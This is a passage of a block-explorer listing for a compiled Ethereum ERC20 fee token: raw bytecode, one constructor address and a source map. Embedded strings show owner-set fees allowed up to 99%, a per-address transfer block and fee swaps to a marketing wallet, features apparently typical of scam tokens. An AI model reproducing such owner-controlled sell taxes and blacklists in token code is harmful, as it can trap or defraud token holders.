900460ff16155b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0f9190613529565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330610fcd565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe3613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c0613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b6000819050919050565b60006134c56134c06134bb846133cc565b6134a0565b6133cc565b9050919050565b60006134d7826134aa565b9050919050565b60006134e9826134cc565b9050919050565b6134f9816134de565b82525050565b600060208201905061351460008301846134f0565b92915050565b613523816132a4565b82525050565b600060208201905061353e600083018461351a565b92915050565b60008060006060848603121561355d5761355c61329a565b5b600061356b86828701613415565b935050602061357c86828701613415565b925050604061358d868287016132c5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126135bc576135bb613597565b5b8235905067ffffffffffffffff8111156135d9576135d861359c565b5b6020830191508360208202830111156135f5576135f46135a1565b5b9250929050565b6000806000604084860312156136155761361461329a565b5b600084013567ffffffffffffffff8111156136335761363261329f565b5b61363f868287016135a6565b93509350506020613652868287016132c5565b9150509250925092565b613665816133ec565b82525050565b6000602082019050613680600083018461365c565b92915050565b600060ff82169050919050565b61369c81613686565b82525050565b60006020820190506136b76000830184613693565b92915050565b6000602082840312156136d3576136d261329a565b5b60006136e184828501613415565b91505092915050565b6136f38161346a565b81146136fe57600080fd5b50565b600081359050613710816136ea565b92915050565b6000806040838503121561372d5761372c61329a565b5b600061373b85828601613415565b925050602061374c85828601613701565b9150509250929050565b60006020828403121561376c5761376b61329a565b5b600061377a848285016132c5565b91505092915050565b60008060006040848603121561379c5761379b61329a565b5b600084013567ffffffffffffffff8111156137ba576137b961329f565b5b6137c6868287016135a6565b935093505060206137d986828701613701565b9150509250925092565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a1a602883613325565b9150613a25826139be565b604082019050919050565b60006020820190508181036000830152613a4981613a0d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613a8a826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613abc57613abb61388f565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613686565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661351a565b6147a0602083018561351a565b6147ad604083018461351a565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b6134a0565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861351a565b6149876020830187614898565b81810360408301526149998186614907565b90506149a8606083018561365c565b6149b5608083018461351a565b9695505050505050565b600060c0820190506149d4600083018961365c565b6149e1602083018861351a565b6149ee6040830187614898565b6149fb6060830186614898565b614a08608083018561365c565b614a1560a083018461351a565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea2646970667358221220799634c7ab9c76342ed7850ab7b0cc47a7c2e4d9bc9035a97c900b8e5125d36164736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000f00971defbd5a8813252ef87a989aa1bf90781f6

-----Decoded View---------------
Arg [0] : marketing_ (address): 0xF00971dEfBd5A8813252EF87A989aA1bF90781F6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f00971defbd5a8813252ef87a989aa1bf90781f6


Deployed Bytecode Sourcemap

4597:12495:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9466:380;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;561:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1474:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4676:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;881:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7899:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4817:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;781:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2572:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4782:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11147:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9366:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9854:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5301:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5123:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;997:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;856:112:2;;;;;;;;;;;;;:::i;:::-;;9191:167:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4909:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;633:87:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;669:104:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8130:548;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10590:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2151:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1132:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5061:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10197:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7800:91;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4946:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8686:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5231:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10387:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1315:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4988:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;976:201:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5028:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9466:380;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9610:13:0::1;9591:16;:32;;;;9653:13;9634:16;:32;;;;9712:16;;9693;;:35;;;;:::i;:::-;9677:13;:51;;;;9753:13;;9739:11;:27;;;;9802:2;9785:13;;:19;;9777:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;9466:380:::0;;:::o;561:100::-;615:13;648:5;641:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;561:100;:::o;1474:169::-;1557:4;1574:39;1583:12;:10;:12::i;:::-;1597:7;1606:6;1574:8;:39::i;:::-;1631:4;1624:11;;1474:169;;;;:::o;4676:51::-;;;:::o;881:108::-;942:7;969:12;;962:19;;881:108;:::o;1651:492::-;1791:4;1808:36;1818:6;1826:9;1837:6;1808:9;:36::i;:::-;1857:24;1884:11;:19;1896:6;1884:19;;;;;;;;;;;;;;;:33;1904:12;:10;:12::i;:::-;1884:33;;;;;;;;;;;;;;;;1857:60;;1956:6;1936:16;:26;;1928:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;2043:57;2052:6;2060:12;:10;:12::i;:::-;2093:6;2074:16;:25;2043:8;:57::i;:::-;2131:4;2124:11;;;1651:492;;;;;:::o;7899:223::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7996:9:0::1;7991:124;8015:10;;:17;;8011:1;:21;7991:124;;;8083:10;;8094:1;8083:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8059:44;;8068:13;;;;;;;;;;;8059:44;;;8098:4;8059:44;;;;;;:::i;:::-;;;;;;;;8034:3;;;;;:::i;:::-;;;;7991:124;;;;7899:223:::0;;;:::o;4817:53::-;4863:6;4817:53;:::o;781:92::-;839:5;864:1;857:8;;781:92;:::o;2572:215::-;2660:4;2677:80;2686:12;:10;:12::i;:::-;2700:7;2746:10;2709:11;:25;2721:12;:10;:12::i;:::-;2709:25;;;;;;;;;;;;;;;:34;2735:7;2709:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;2677:8;:80::i;:::-;2775:4;2768:11;;2572:215;;;;:::o;4782:28::-;;;;;;;;;;;;;:::o;11147:126::-;11213:4;11237:19;:28;11257:7;11237:28;;;;;;;;;;;;;;;;;;;;;;;;;11230:35;;11147:126;;;:::o;9366:92::-;9418:4;9439:8;:11;9448:1;9439:11;;;;;;;;;;;;;;;;;;;;;;;;;9432:18;;9366:92;;;:::o;9854:335::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9996:13:0::1;9978:15;:31;;;;10038:13;10020:15;:31;;;;10095:15;;10077;;:33;;;;:::i;:::-;10062:12;:48;;;;10145:2;10129:12;;:18;;10121:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9854:335:::0;;:::o;5301:28::-;;;;:::o;5123:23::-;;;;;;;;;;;;;:::o;997:127::-;1071:7;1098:9;:18;1108:7;1098:18;;;;;;;;;;;;;;;;1091:25;;997:127;;;:::o;856:112:2:-;779:12;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:30:::1;957:1;930:18;:30::i;:::-;856:112::o:0;9191:167:0:-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9346:4:0::1;9304:31;:39;9336:6;9304:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;9191:167:::0;;:::o;4909:30::-;;;;;;;;;;;;;:::o;633:87:2:-;679:7;706:6;;;;;;;;;;;699:13;;633:87;:::o;669:104:0:-;725:13;758:7;751:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;669:104;:::o;8130:548::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8311:10:0::1;:8;:10::i;:::-;8307:2;:14;;;;:::i;:::-;8299:4;8294:1;8278:13;:11;:13::i;:::-;:17;;;;:::i;:::-;8277:26;;;;:::i;:::-;8276:45;;;;:::i;:::-;8263:9;:58;;8241:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;8469:10;:8;:10::i;:::-;8465:2;:14;;;;:::i;:::-;8457:4;8452:1;8436:13;:11;:13::i;:::-;:17;;;;:::i;:::-;8435:26;;;;:::i;:::-;8434:45;;;;:::i;:::-;8415:15;:64;;8393:150;;;;;;;;;;;;:::i;:::-;;;;;;;;;8593:10;:8;:10::i;:::-;8589:2;:14;;;;:::i;:::-;8585:2;:18;;;;:::i;:::-;8566:15;:38;;;;:::i;:::-;8554:9;:50;;;;8659:10;:8;:10::i;:::-;8655:2;:14;;;;:::i;:::-;8651:2;:18;;;;:::i;:::-;8638:9;:32;;;;:::i;:::-;8615:20;:55;;;;8130:548:::0;;:::o;10590:353::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10734:13:0::1;;;;;;;;;;;10726:21;;:4;:21;;::::0;10704:128:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;10843:38;10869:4;10875:5;10843:25;:38::i;:::-;10892:41;10921:4;10927:5;10892:28;:41::i;:::-;10590:353:::0;;:::o;2151:413::-;2244:4;2261:24;2288:11;:25;2300:12;:10;:12::i;:::-;2288:25;;;;;;;;;;;;;;;:34;2314:7;2288:34;;;;;;;;;;;;;;;;2261:61;;2361:15;2341:16;:35;;2333:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;2454:67;2463:12;:10;:12::i;:::-;2477:7;2505:15;2486:16;:34;2454:8;:67::i;:::-;2552:4;2545:11;;;2151:413;;;;:::o;5093:23::-;;;;;;;;;;;;;:::o;1132:175::-;1218:4;1235:42;1245:12;:10;:12::i;:::-;1259:9;1270:6;1235:9;:42::i;:::-;1295:4;1288:11;;1132:175;;;;:::o;5061:25::-;;;;;;;;;;;;;:::o;10197:182::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10313:8:0::1;10282:19;:28;10302:7;10282:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;10353:7;10337:34;;;10362:8;10337:34;;;;;;:::i;:::-;;;;;;;;10197:182:::0;;:::o;7800:91::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7878:5:0::1;7862:13;;:21;;;;;;;;;;;;;;;;;;7800:91:::0;:::o;4946:35::-;;;;:::o;8686:497::-;8794:4;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8873:6:0::1;8868:1;8852:13;:11;:13::i;:::-;:17;;;;:::i;:::-;8851:28;;;;:::i;:::-;8838:9;:41;;8816:144;;;;;;;;;;;;:::i;:::-;;;;;;;;;9028:4;9023:1;9007:13;:11;:13::i;:::-;:17;;;;:::i;:::-;9006:26;;;;